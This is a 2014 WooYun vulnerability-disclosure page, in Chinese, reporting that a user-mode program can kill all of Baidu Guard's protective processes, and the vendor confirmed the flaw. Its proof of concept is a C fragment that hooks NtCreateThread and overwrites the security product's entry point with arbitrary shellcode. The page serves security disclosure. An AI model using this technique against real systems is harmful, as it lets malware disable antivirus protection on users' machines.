当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-078980

漏洞标题:百度卫士全防御失效漏洞

相关厂商:百度

漏洞作者: alvin

提交时间:2014-10-11 14:52

修复时间:2015-01-09 14:54

公开时间:2015-01-09 14:54

漏洞类型:拒绝服务

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-11: 细节已通知厂商并且等待厂商处理中
2014-10-13: 厂商已经确认,细节仅向厂商公开
2014-10-16: 细节向第三方安全合作伙伴开放
2014-12-07: 细节向核心白帽子及相关领域专家公开
2014-12-17: 细节向普通白帽子公开
2014-12-27: 细节向实习白帽子公开
2015-01-09: 细节向公众公开

简要描述:

开启百度卫士全防御环境下,普通用户态程序即可杀掉百度卫士所有守护进程。

详细说明:

1.触发exp:

1.png


2.exp运行后:

2.png


3.恶意程序轻易注入explorer:

3.png

漏洞证明:

LONG WINAPI NewCreateThread(PVOID p1, PVOID p2, PVOID p3, PVOID p4, PVOID p5, PVOID p6,PVOID p7,PVOID p8)
{
// 修改EXE镜像入口点
VirtualProtectEx(p4, (LPVOID)0x4027EF, 0x400, PAGE_EXECUTE_READWRITE, &oldProtect);
// shellcode可以是任意代码,结束守护进程、装驱动、注入......
WriteProcessMemory(p4, (LPVOID)0x4027EF, shellCode, sizeof(shellCode), &dwWrite);
return lRes = (fnCreateThread)(p1, p2, p3, p4, p5, p6,p7,p8);
}
LPCTSTR lpszProcess = _T("C:\\Program Files\\Baidu\\BaiduAn\\4.0.0.4830\\BaiduAn.exe");
PROCESS_INFORMATION pi = { 0 };
STARTUPINFO si = { 0 };
si.cb = sizeof(STARTUPINFO);
DetourProc((PVOID)GetProcAddress(GetModuleHandle(_T("ntdll")), "NtCreateThread"), (PVOID)NewCreateThread, (PVOID*)(&fnCreateThread));
CreateProcess(lpszProcess, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

修复方案:

加强自保护的防御覆盖度

版权声明:转载请注明来源 alvin@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-10-13 19:40

厂商回复:

感谢提交,我们已经通知业务部门处理此问题。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-11-03 11:12 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    太高级了不懂

  2. 2014-11-06 23:43 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 | 总有一天,我会骑着雨牛@'雨。踩着一哥@jan...)

    漏洞被打码了么?看着不详细